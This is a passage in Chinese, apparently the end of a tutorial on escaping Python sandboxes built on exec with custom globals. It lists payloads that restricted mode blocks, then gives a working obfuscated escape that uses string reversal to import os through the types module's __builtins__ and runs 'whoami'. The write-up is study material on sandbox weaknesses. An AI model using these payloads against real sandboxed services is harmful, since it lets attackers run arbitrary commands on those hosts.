exec command in _global 這一句就把很多 payload 干掉了,由于 exec 運行在自定義的全局命名空間里,這時候會處于restricted execution mode,這里不贅述了,感興趣可以看這篇文章:傳送門。exec 加上定制的 globals 會使得沙箱安全很多,一些常規(guī)的 payload 是沒法使用的,例如:
- >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
- restricted attribute
- >>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
- file() constructor not accessible in restricted mode
不過也正是由于 exec 運行在特定的命名空間里,可以通過其他命名空間里的 __builtins__,比如 types 庫,來執(zhí)行任意命令:
- >>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
- macr0phag3
五、結(jié)尾
這塊內(nèi)容本身就零散,羅里吧嗦了這么多,希望對大家有幫助,如果有不嚴謹?shù)牡胤较M魑粠煾祩兡苤赋鰜?,共同探?。